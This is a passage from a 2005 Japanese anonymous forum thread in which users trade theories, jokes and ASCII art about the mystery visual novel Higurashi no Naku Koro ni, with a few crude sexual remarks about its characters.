［竜］いやあ「うわ！怖!!」（笑）。私はもちろんシナリオを全て知ってるので、普通は怖くもなんともない、 だからデバックの時は非常に退屈なんですが、あそこだけは「うわ！」（一同笑）…だってこんな怖い事はないですよ。 人の作ったゲームで驚くのは当たり前ですけど、自分の作ったゲームで驚いたんですから（笑）。そんな仕掛けは用意してないんだし。 838 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:46:37 ID:afoPOVPh0 俺も限界だ・・・寝る 一昨日からえーりん！えーりん！って朝までやってたしｗｗｗ 839 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:47:47 ID:C87p2FkI0 >>837 http://www.uploda.org/file/uporg121504.jpg 840 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:50:32 ID:FLZ+LXS60 虫とか聞くと天使の囀り思いだすな 841 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:52:11 ID:C87p2FkI0 俺はムシキング思い出すな 842 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:59:25 ID:cdMV2hh/0 >>795 完成はいつごろか分かるかい？ 寝れネエｗｗｗｗｗｗｗｗｗｗｗ 843 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 03:10:56 ID:UkkWheP80 怖いのごまかしてほしゅ 844 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 03:13:59 ID:cPe2Myrg0 あれ？誰もオヤシロ様ウイルス説唱えないの？ 村の人全員がオヤシロ様ウイルスにかかっていて 皆イカレテルンじゃねーの？ だから、他の街いくんじゃねえＹＯ とかいってんじゃねえの？ 845 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 03:17:38 ID:h49K9TpT0 くけけけけけの目の画像欲しいです 846 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 03:39:20 ID:D4B8yQ/G0 ある東の王国のお姫様が、３人の貴族に求婚を受けた。 魅力的な求婚者たちに迷い、お姫様は難題で試すことを思いつく。 彼女はお伽話の３つの宝を挙げ、うちひとつを持ち帰れと告げた。 彼女が求めた宝はお伽話。実在も怪しい。それは彼らも知っていた。 １人は東方へ旅立ち、荒れ狂う海で藻屑と消えた。 １人は西方へ旅立ち、灼熱の砂漠で砂嵐に消えた。 １人は何処にも旅立たず、肩をすくめて答えた。 「姫様。あなたの求める宝はこの世に存在しません。」 「されば其方は、いかにして私の想いに応えるのか？」 「存在しない宝を求めよとは。即ち、姫様が求婚を拒まれていることの証です。」 １人は東方へ旅立ち、荒れ狂う海で藻屑と消えた。 １人は西方へ旅立ち、灼熱の砂漠で砂嵐に消えた。 １人は何処へも旅立たず、肩をすくめてお城を去った。 お姫様は結局、その３人よりも魅力的な求婚者には生涯出会えなかった。 Frederica Bernkastel 847 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 03:58:33 ID:cdMV2hh/0 私的捜査ファイル（仮） って誤変換して気づいたけど 詩的捜査ファイル（仮）でもあるんだな・・・ 848 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 04:04:46 ID:vUIuVjbA0 1時間以上も平穏だったから 雰囲気が急変して怖いお(´；ω；｀) 849 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 04:16:00 ID:cdMV2hh/0 このスレからも人がどんどんいなくなっていく・・・これもオヤシロ様の・・・ 795を待ち続けて寝るタイミングを逸した俺はorz 850 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 04:26:40 ID:ldCbnUD20 まだかよ 851 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 04:32:40 ID:UkkWheP80 >>849 ひぐらしやってるから書き込まないけどいるよ 852 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:00:28 ID:UkkWheP80 やっと綿流し終わった・・・。 鬼隠しと違って案外分かりやすいな 853 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:01:43 ID:OHZW+oZv0 >>852 推理きかせて 854 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:04:22 ID:sfAy3OdV0 >>851 右に同じくｗｗｗ 綿流し編と目明し編をざっと見比べて解らんところを列挙してみるが・・・ さっぱり謎が解けんｗｗｗ 侵入前日に死んでいるはずの鷹野は一体何者？ 富竹を死に追いやったのは何？ 祭具殿侵入の事実を知らなかった魅音が富竹と鷹野の死を当然と思っている？ 図書館で大石に質問されるとき、警察はまだ祭具殿侵入の事実を知らなかった？ 祭具殿でのドタバタ音は？ 855 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:08:50 ID:TFqwkHb80 富竹って、現場監督の息子？ 856 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:15:30 ID:cdMV2hh/0 >>846 詩的捜査ってことでちょっと時間つぶしに考えてみよう 登場人物はお姫様と3人の求婚者、計4名 お姫さまを古手梨花に置換すると、求婚者は男性ということになる。 求婚者3名のうち2名は死亡し、1名はどこかへ去った。 去ったという表現に該当するのは男は大石蔵人か赤坂衛。 ただし大石蔵人に関しては生死不明となるケースがあることから赤坂衛が妥当か？ 死亡という表現に該当する男は全編通して必ず死ぬ前原圭一、富竹ジロウの両名か？ とすると古手梨花は前原圭一、富竹ジロウ、赤坂衛と関わりがあったことになる。 富竹-梨花ちゃまには繋がりがあったのかもしれない・・・ とまぁ適当にこじつけてみた。 まぁ無理やりっちゃ無理やりだなｗｗｗｗｗ あと気になるのは3って数字だな、御三家と関係するようなしないような あとその後の小間使いやら大臣の詩は考慮してないｗｗｗｗｗ で>>795まだでつか？ｗｗｗｗｗｗ 徹夜しちまったじゃねーですかｗｗｗっうぇｗｗｗ 857 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:18:14 ID:sfAy3OdV0 >>855 現場監督の息子？ いやそんな話は聞いたことない。 >>856 この物語ってかぐや姫じゃなかったっけ？ てっきりそうだとばかり思ってたんだけど。 858 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:26:11 ID:cdMV2hh/0 >>857 竹取物語は5人の求婚者だったべ？ 2人が死んだりと共通点もあるから恐らく竹取物語かもしくはその原型を加工してこれを書いたと思われる。 書き手の意図を含めた形で。たぶん、きっと。 859 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:29:44 ID:sfAy3OdV0 うはｗｗｗ５人も居たのかｗｗｗｗｗｗ知らんかったｗｗｗｗｗ 860 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:40:49 ID:gjbGsRJf0 今初めてこのスレ来たがさっきレナたんをレイプする同人誌があったお。 861 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:42:55 ID:K/B0Pdly0 >>860 マジでか 862 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:50:01 ID:gjbGsRJf0 >>861 マジだお 863 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 05:58:18 ID:K/B0Pdly0 レナ返り討ちですが何か http://members.jcom.home.ne.jp/a-machida/cg/higurasi/higurasi05.jpg 864 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 06:02:35 ID:cdMV2hh/0 >>854 >侵入前日に死んでいるはずの鷹野は一体何者？ これは要するに鷹野さんが2人いるってことだろうな。 死んでいる鷹野さんと、生存している鷹野さん。 山中で発見された鷹野さんとされる死体は、いわゆる雛見沢にいた鷹野さんではない。 って証拠だろう。 >富竹を死に追いやったのは何？ なんだろうね～、すごく重要人物な気がしなくもないし。 個人的には富竹も雛見沢の事件について探っていて、真相を突き止めてしまい あぼんされたんじゃねーかと。 他殺だとしたらなんでああいう殺し方をしたのかも疑問。 当然何かしら意味があるはず、でなければもっと単純な殺し方でよいはず。 >祭具殿侵入の事実を知らなかった魅音が富竹と鷹野の死を当然と思っている？ 上と関連してお魎にマークされていたとすれば当然か？ >図書館で大石に質問されるとき、警察はまだ祭具殿侵入の事実を知らなかった？ 覚えてないorz >祭具殿でのドタバタ音は？ 謎いorz つーか眠い上にあんま覚えてねぇな俺ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 865 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 06:17:30 ID:gjbGsRJf0 おぉ、>>863のサイトの蒐集少女って奴だお。 866 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 07:04:14 ID:P/YHHS7d0 ところでちょっと気になったんだが、綿流し編で もし魅音にぬいぐるみあげていたらどうなっていたと思う？ 867 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 07:12:28 ID:BUguWKNK0 このゲームって完結してないの？ プレイしたいけど、完結しないと気になって寝れないｗｗｗｗｗｗ 868 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 07:14:18 ID:0z45Zm6a0 綿流しまでの行動は同じだろうな。 だが他の理由でぐぎゃるのが詩音クオリティ 869 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 07:15:11 ID:Guk37dmSO >>866 詩音が魅音に嫉妬して、ぐぎゃって、同じ結末。 あとさ、あんまし同人板荒らすなよ＞昨日VIP板以外で騒いでいた香具師 870 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 07:18:24 ID:P/YHHS7d0 >>868 >>866の質問はフラグたったのが分かりやすい綿流し編にしたんだけどさ ほかのシナリオはどうだろう？どこでフラグたってると思う？ もし、そのフラグがたたなかったら、どこまでが一緒で どんな結末になったと思う？ 一応何も無かったら、全部同じ結末にたどり着くんだよな？ 俺もちょっと考えてみる。 871 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 07:41:17 ID:yVp2Z1UK0 >>870 フラグがたった時期。 圭一の引越した時期なんじゃね。 872 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 07:53:30 ID:P/YHHS7d0 >>871 毎シナリオで引越しの時期違ったけ？ 873 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 08:39:10 ID:RI9Yj0VP0 違わない。 鬼隠し、綿流しはK1の行動に差異があるだけだが、祟り殺しはロードオブザサトコ―叔父の帰還― という、K1以外のイレギュラーが存在する。 個人的には、良いイレギュラー（赤坂とか）を58年に入れていかないと、解決には遠い気がする KOOLじゃ役不足ダス 874 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 08:54:43 ID:RI9Yj0VP0 ちょっと考えが足りなかったので追記。 >>870の言ってる事はつまりKOOL、ぐぎゃ、叔父というイレギュラーが無効化された場合、か。 KOOLの叔父殺しが無く、梨花はくぱー★、ガスで全滅なんだろうか。 おおよそ梨花くぱー★は「58年…私が殺されます」という祟りによる被発見の死の予言通りだし。 （しかし綿流しでも梨花は被発見の死を迎えてるよな…この場合ガスが起きなかったのは不思議だ） ちょっと詩音の胸もんで考えてくるな。連カキコすまなかった 875 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 09:06:25 ID:OHZW+oZv0 祟り殺し編の詩音の行動を考えてみたんだけどどうかな。 祭り前に圭の電話に出たのは詩音。何で本家にいたのかは不明。 悟史とそっくりな言動を聞き圭一の殺人計画に気づく。 ぐぎゃってない詩音は魅音に協力。アイバイ工作の手ほどきをする。 （目明しで私ならこうする～～みたいなこと言ってた、それをする） 祭りに行ってない方（詩音か？）圭一の元へ。 殺人を止めなかったか止められなかったのか、とにかく死体を埋めた場所は確認する。 さらに追跡、鷹野さんを目撃する。圭一、車で去るので追跡断念。死体の処理に行く。 本家に戻るとトミーと鷹野のトホウが入っている。 （今回はババァが生きてるはずなのでここで真相に近づけるかも？） えーとこの後の記憶が曖昧だ。 真相に近づいた詩音がＫＯＯＬモード発動したとするならその後死亡した 入り江、梨花、（大石）がカギって事か。 876 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 09:26:06 ID:xxDpIsov0 真っ赤になって嫌がるけど本気で抵抗しない魅音のおっぱいをモミモミしたい 877 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 09:27:18 ID:2fwxNl7rO 全てのシナリオで入れ代わりが発生してる気がするのは俺だけか？ 綿流しでレナを煽ってたり祟殺しでのK1からの電話とか いろんなとこで詩音が絡んでる希ガス 878 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 11:17:45 ID:wUBuHEQE0 ＞854 鷹野三四と焼死体は別の人ってことでいいと思う 死亡推定時刻が発見の２４時間前で 綿流しで最後に三四が目撃された時刻よりも前って記述を信じていいんだろうと思う 879 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 11:25:55 ID:DELlP+wq0 人ｲﾅｻｽ。 俺だけか？（^ω^；） 880 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 11:31:22 ID:jZ4nv3va0 求婚を受けたお姫様の話は素直にレナのことでいいんじゃね 881 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 11:45:35 ID:jZ4nv3va0 圭一って雛見沢に来る前からレナのことを知っていたっぽいしなぁ 882 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 11:47:57 ID:DELlP+wq0 >>881 どこかでそんな記述あったけ？ 883 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 11:48:14 ID:0Mgn4N2Q0 梨花の予言にある、穏やかな死ってガスのことじゃないかと今思った。 寝てる間に苦しまずに死んじゃうわけだから。 大災害が起きない結末はなんらかのイレギュラーのために起こせなかった。 つまり大災害は人為的なもので、災害を起こす役割のものがストーリー上で 死んでしまうと災害は起きない。 御三家が滅びると村そのものも滅亡させるような決まりごとがあるとか、 御三家が互いを監視してて（あるいは黒幕が）、どこかが暴走を始めるとそれを食い止める システムとしてガスがあったのではとおもた。 884 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 11:53:35 ID:Mx1yFAEN0 球根を受けたお姫様って、「東」って考えると…圭一じゃね？ 885 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 11:54:29 ID:jZ4nv3va0 >>882 鬼隠しで、 レナが前の学校で起こした事件を想像している時、途中までは第三者としての目 だったのに、いつのまにか圭一自身が殴られているみたいになってたでしょ。 886 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 12:06:16 ID:N8ee4TR00 >>885 むぅ･･･思いだせん。 家帰ったらもう一回やるか＞鬼隠し 887 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 12:08:51 ID:Mx1yFAEN0 >>885 それは単なる圭一の妄想……のようなキガス もしその場に俺がいたら？ という。 そもそもレナの過去については大石の嘘の可能性もあるからな。 888 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 12:18:45 ID:jZ4nv3va0 これも根拠なしだけど圭一は片目が見えてない希ガス 889 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 12:55:06 ID:eEpyuFwh0 >>888 詳しく 890 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 12:59:33 ID:0G6s8RW50 おーまだ残ってたのか。既出かもしれんが皆にヒント ひぐらしは雛見沢停留所ってゆう舞台用の脚本を元に作ってて 基本的なプロットは変わらないらしい 魅音と梨花しか出てこない話で二人の年齢が逆 んで梨花は暇潰し編の「赤坂の怖がり」の時の性格らしい >>888 詳しく 891 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 13:09:54 ID:BDPKdMlV0 今から暇潰し編をするお 892 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 13:25:05 ID:BDPKdMlV0 俺しかいないのかよｗｗｗｗｗｗｗｗｗｗｗｗｗｗ保守 893 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 13:26:26 ID:0G6s8RW50 俺もいるお！でも推理行き詰ってる 894 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 13:47:36 ID:Mx1yFAEN0 綿流し２週目中。カレー作ってる。 このお遊びにも伏線があるか、と思うとメモとりに手が抜けない……。 進まネー！！！！！！ 895 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 13:53:47 ID:+y9bCEvZ0 カレー作りといえば。 「うちのお母さんのカレーはね、いっつも具沢山だったんだよ。」 だった と過去形なんだよね。 漬物の件とか 両親健在だと思ってたのに。 896 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 13:57:19 ID:Mx1yFAEN0 >>895 それについてなんだが……。 両親は健在している、と俺は思う。父親は電話で出てくるし。 ただ両親はレナのことを「礼奈」と呼ぶんだ。 この辺りで、レナの心理に「この人たちはレナの親じゃない」 と思うようなところがあるんじゃないか？ とか、思ったり、思わなかったり……。 897 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 14:13:24 ID:nnOu6fbZ0 父親のことを、お父さんと言っているからそれはないんじゃね？ 898 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 14:17:32 ID:npaS2vnQ0 富田って何年も前から雛見沢に来てたんだよな もしかして富田って実は赤坂と同じような目的で 雛見沢の暗部を調査してた刑事で 上層部に目をつけられて殺されたんじゃないか？ もしくは富田＝赤坂って可能性も 年齢的には合ってるはずだし 899 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 14:20:46 ID:e43cWcSF0 富竹な 900 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 14:25:32 ID:Mx1yFAEN0 >>898 もし刑事だったら、大石なんかと協力くらいするだろう。 となると警察の方で身元がわからないのは微妙だな。 あと赤坂＝富竹は賛同しかねる。 だったら大石と知り合いのはずだし、 昭和６０年に再会することなど出来ない。 901 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 14:33:19 ID:msbyzZSj0 ヾヽヽ (,, ・∀・） １羽でﾁｭﾝ! ミ＿ノ ″″ ヾヽヽ ヾヽヽ (,, ・∀・） (,, ・∀・） ２羽でﾁｭﾁｭﾝ!! ミ＿ノ ミ＿ノ ″″ ″″ ヾヽヽ ヾヽヽ ヾヽヽ (,, ・∀・） (,, ・∀・） (,, ・∀・） ３羽そろえば ミ＿ノ ミ＿ノ ミ＿ノ ″″ ″″ ″″ .,,_ _,,=-､ '､ ￣_ _.,! __ .r-,. ＿ r －､ _/ _!」 .└ ､( `┐ .,,=! └, !､ .ヽ ヽ 丿 .（. ┌-'( ヽ~ ,.-┐ `┐ .r' r.､''" r' .／ ゛,ﾌ .,. | ｀j .｀" .,/ .r'" ヽ | .l '､ヽ、 ,,-.' , 〈.| | i' .__i'" .（ .､i .{,＿ノ ヽ ヽ ＼ ､_ﾆ-一''~ ヽ | ＼＿`i 丶,,,,､ } ヽ_丿 ヽ__,/ ~''''''''''''″ これが答えだ。 902 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 14:47:14 ID:lxp8TsyI0 ヾヽヽ (,, ・∀・） １羽でﾁｭﾝ! KOOLk1 ミ＿ノ ″″ ヾヽヽ ヾヽヽ (,, ・∀・） (,, ・∀・） ２羽でﾁｭﾁｭﾝ!! ＋KOOL詩音 ミ＿ノ ミ＿ノ ″″ ″″ ヾヽヽ ヾヽヽ ヾヽヽ (,, ・∀・） (,, ・∀・） (,, ・∀・） ３羽そろえば ＋KOOLレナ ミ＿ノ ミ＿ノ ミ＿ノ ″″ ″″ ″″ .,,_ _,,=-､ '､ ￣_ _.,! __ .r-,. ＿ r －､ _/ _!」 .└ ､( `┐ .,,=! └, !､ .ヽ ヽ 丿 .（. ┌-'( ヽ~ ,.-┐ `┐ .r' r.､''" r' .／ 事件解決 ゛,ﾌ .,. | ｀j .｀" .,/ .r'" ヽ | .l '､ヽ、 ,,-.' , 〈.| | i' .__i'" .（ .､i .{,＿ノ ヽ ヽ ＼ ､_ﾆ-一''~ ヽ | ＼＿`i 丶,,,,､ } ヽ_丿 ヽ__,/ ~''''''''''''″ 903 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 14:50:38 ID:msbyzZSj0 ヾヽヽ (,, ・∀・） １羽でﾁｭﾝ! 富田 ミ＿ノ ″″ ヾヽヽ ヾヽヽ (,, ・∀・） (,, ・∀・） ２羽でﾁｭﾁｭﾝ!! ＋岡村 ミ＿ノ ミ＿ノ ″″ ″″ ヾヽヽ ヾヽヽ ヾヽヽ (,, ・∀・） (,, ・∀・） (,, ・∀・） ３羽そろえば ＋亀田 ミ＿ノ ミ＿ノ ミ＿ノ ″″ ″″ ″″ .,,_ _,,=-､ '､ ￣_ _.,! __ .r-,. ＿ r －､ _/ _!」 .└ ､( `┐ .,,=! └, !､ .ヽ ヽ 丿 .（. ┌-'( ヽ~ ,.-┐ `┐ .r' r.､''" r' .／ 事件解決 ゛,ﾌ .,. | ｀j .｀" .,/ .r'" ヽ | .l '､ヽ、 ,,-.' , 〈.| | i' .__i'" .（ .､i .{,＿ノ ヽ ヽ ＼ ､_ﾆ-一''~ ヽ | ＼＿`i 丶,,,,､ } ヽ_丿 ヽ__,/ ~''''''''''''″ 904 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 15:36:03 ID:GY9hUaZH0 ヾヽヽ (,, ・∀・） １羽でﾁｭﾝ! 俺 ミ＿ノ ″″ ヾヽヽ ヾヽヽ (,, ・∀・） (,, ・∀・） ２羽でﾁｭﾁｭﾝ!! ＋お前 ミ＿ノ ミ＿ノ ″″ ″″ ヾヽヽ ヾヽヽ ヾヽヽ (,, ・∀・） (,, ・∀・） (,, ・∀・） ３羽そろえば ＋みんな ミ＿ノ ミ＿ノ ミ＿ノ ″″ ″″ ″″ .,,_ _,,=-､ '､ ￣_ _.,! __ .r-,. ＿ r －､ _/ _!」 .└ ､( `┐ .,,=! └, !､ .ヽ ヽ 丿 .（. ┌-'( ヽ~ ,.-┐ `┐ .r' r.､''" r' .／ >>6 ゛,ﾌ .,. | ｀j .｀" .,/ .r'" ヽ | .l '､ヽ、 ,,-.' , 〈.| | i' .__i'" .（ .､i .{,＿ノ ヽ ヽ ＼ ､_ﾆ-一''~ ヽ | ＼＿`i 丶,,,,､ } ヽ_丿 ヽ__,/ ~''''''''''''″ 905 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 15:53:07 ID:NNR8eT7V0 梨花がループしているんじゃないかってのはもう議論済み？ 各編の差異にループ回数とかが係っているとか妄想したけど 基本的に梨花は何か知ってそうなくせに積極的に事件に係って来る気配ないよな あと、雛見沢大災害のフラグは梨花が殺されること（自殺は除く）と思う でもそうすると梨花自身は自分が死んだ後のことだから大災害が起こることは 知らないんだよな… 906 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:01:03 ID:cdMV2hh/0 徹夜してそのまま出かけた俺が帰ってきましたよ どうやら>>795はまだらしいな（´・ω・`） 907 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:07:16 ID:7Tr2hyy50 で犯人だれだよ 908 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:07:47 ID:yob7vRU30 んー 俺もなんとなく考え纏まってきたんだけど なんかボロボロ穴があるような気がするんでまとめてうｐしてみる 鬼隠しに会わなきゃね 909 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:09:23 ID:TeIge+Iw0 >>906 俺の推理では>>795は鬼隠し 910 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:09:56 ID:wUBuHEQE0 まとめページがほしいです！ 911 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:12:31 ID:npaS2vnQ0 >>900 うーん・・・やっぱ穴がボロボロあるみたいね 暇潰しルートは他ルートと同じように別世界で そのルートでは富竹＝赤坂は殺されなかった・・・とか 大石と協力しなかったのはあの事件のあとに刑事をやめて 独自で調べていたから・・・ っていうのは強引杉かね >>908 期待してます 912 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:14:32 ID:BDPKdMlV0 >>911 ﾜｸﾃｶ 913 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:14:55 ID:BDPKdMlV0 >>908だったｗｗｗｗ 914 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:15:16 ID:cdMV2hh/0 梨花ちゃまが赤坂を富竹2号と称したことから 富竹=赤坂はない。 ただし2号という表現から赤坂と同様に富竹もなにかしら調査していたのかも… なーんて穿った見方はできるかもしんまい 915 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:24:24 ID:yob7vRU30 みんな、よく908を見て欲しい ここは2ch・・・一行目に注目するんだ ん 俺 な 鬼 つまり908は鬼 雛見沢連続怪死事件の犯人は908だったんだよ！！ ごめん、さっさと書きます 916 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:27:52 ID:cdMV2hh/0 ﾅ ﾅﾝﾀﾞｯﾃｰ!! Ω ΩΩ 917 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:31:12 ID:BDPKdMlV0 ﾅ ﾅﾝﾀﾞｯﾃｰ!! Ω ΩΩ 918 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 16:58:48 ID:BDPKdMlV0 ううぇｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 919 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 17:14:14 ID:cdMV2hh/0 催眠術ってのはなしだよなあｗｗｗｗｗｗｗｗｗｗｗｗｗうぇｗｗｗｗ 920 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 17:28:20 ID:cdMV2hh/0 レナ魅音撲殺のシーンで空気に匂いが戻るって表現はあるのに 血の匂いって表現はされてないのも気になるんだよなぁ・・・ それまでの表現からさっするに相当量の血が流れてるはずなんだよな だとしたら血の匂いがすると思うんだが、実際はしないのかしら・・・ 921 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 17:51:12 ID:cdMV2hh/0 | ミ ﾋﾟｬｯ! | 旦 922 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 17:53:24 ID:BDPKdMlV0 ﾔｯﾊﾟレナが真犯人だｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 923 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 17:55:30 ID:BDPKdMlV0 礼奈という字をいじってみろｗｗｗｗｗｗｗｗｗｗｗ すると鬼の字ができるｗｗｗｗｗｗｗｗｗｗｗｗｗ わかったぞ、人類は滅亡する 924 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 17:56:29 ID:r4tyXEE60 ふぅ‥‥やっと追いついた‥ ギタースレやらひぐらしスレやら忙しいんだよっ！！１１！！ギタースレもまだ見てない。 てか前々々々々々スレくらいからずっと見てないよ。中途半端なログだけが残ってる（´・ω・｀） ひぐらし前スレも986くらいで見失ったし。もう‥‥ 925 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:21:36 ID:yob7vRU30 ttp://www.uploda.org/file/uporg121762.zip.html ごめん、途中で破綻した なんでそこまでで切った 926 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:32:31 ID:TeIge+Iw0 >>925 これはひどい 927 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:35:37 ID:BDPKdMlV0 >>925 さすがだ 928 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:36:20 ID:yob7vRU30 あ、ごめん 2年目破綻してないかもしれん 暇潰しで梨花が言ってる 「・・・その翌年の昭和５５年の６月の今日。・・・・・・・・・沙都子の両親が突き落とされて死にます。」 「・・・・・・あるいは、事故というべきかもしれない。・・・・・・不幸な事故。」 とすれば2年目まではただの偶然、で片付けられる？ これなら二年目の犯人は沙都子になるわけだが ・・・虚言癖、あったよな沙都子 929 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:40:04 ID:yob7vRU30 連続ですまん ちょっと補足 俺は暇潰し編の梨花のアレは純粋に予言ってことでもOKだと思ってる 「拒否する権利がある」を「オカルト的なモノ使ってますよ」とも取ってるから もちろんそうでなくて、純粋にあの頃から計画が立っていた それを梨花が知ったって展開も歓迎だけどね 930 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:40:18 ID:wUBuHEQE0 虚言癖ってのはミスリードではないかと思ってるんだがどうだろう。 嘘をつかなくてはいけない理由があったんだと思う。 ・・・勘だけど しかし、そもそもなんで趣味がトラップなんだ。それがわからん 931 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:40:56 ID:2fwxNl7rO 二年目の犯人はサトコでガチだと思う サトコは両親を目の前で無くしたとか言ってたのは祟殺しの梨花ちゃんだっけ その辺から怪しいなーと思ってた 932 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:41:37 ID:cdMV2hh/0 おまえらよってたかって俺の沙都子を！ 933 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:44:11 ID:yob7vRU30 >>932 俺は犯人でも沙都子を愛するぞ？ 罪があるというならそれごと愛そう 934 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:47:56 ID:wUBuHEQE0 >929 拒否する権利云々・・・のところは非常にナイーブだよね 作中作説が正解とすれば無視することもある程度できるかもしれないけれど やっぱりそれ以外である可能性も疑っていきたい 全てのシナリオに登場する人物の設定は共通、という作者のコメントを信じれば 梨花は多重人格者という設定（いわゆる黒梨花の存在）が暇潰し編の大きな肝だと思われる そこを使うか、使わないかで推理も大きく左右されるし。 予言に関しては犯行予告、という風にも取れるんじゃないかな 935 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 18:57:17 ID:I9PAa0720 >>934 当然取れる 925はただただ物語を裏側から透かし見て踏み躙る行為に過ぎない しかも5年目に関しては言及もしてないし とてもとても正面から切り開き踏破したとは言えない 可能性を示唆しただけで推理とも呼べない だから馬鹿の戯言と思ってくれ ただ、作中作、というには梨花ちゃんはいろいろあるよね 